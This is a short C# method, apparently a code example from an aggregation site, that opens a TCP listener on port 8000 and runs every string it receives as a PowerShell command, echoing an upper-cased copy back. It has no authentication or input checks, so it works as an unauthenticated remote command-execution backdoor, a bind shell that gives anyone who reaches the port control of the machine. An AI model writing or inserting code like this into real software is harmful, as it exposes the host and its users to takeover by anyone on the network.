Exemplo n.º 1
0
        private bool ExecutaCmd()
        {
            if (string.IsNullOrEmpty(localIP))
            {
                return(false);
            }
            TcpListener server = null;

            try
            {
                Int32     port      = 8000;
                IPAddress localAddr = IPAddress.Parse(localIP);


                server = new TcpListener(localAddr, port);


                server.Start();


                Byte[] bytes = new Byte[256];
                String data  = null;


                while (true)
                {
                    Console.Write("Waiting for a connection... ");


                    TcpClient client = server.AcceptTcpClient();
                    Console.WriteLine("Connected!");

                    data = null;


                    NetworkStream stream = client.GetStream();

                    int i;


                    while ((i = stream.Read(bytes, 0, bytes.Length)) != 0)
                    {
                        data = Encoding.ASCII.GetString(bytes, 0, i);
                        Console.WriteLine("Received: {0}", data);
                        PowerShellManager.PowerShellExecuter(data);

                        data = data.ToUpper();

                        byte[] msg = Encoding.ASCII.GetBytes(data);


                        stream.Write(msg, 0, msg.Length);
                        Console.WriteLine("Sent: {0}", data);
                    }


                    client.Close();
                }
            }
            catch (SocketException e)
            {
                Console.WriteLine("SocketException: {0}", e);
            }
            finally
            {
                // Stop listening for new clients.
                server.Stop();
            }

            return(true);
        }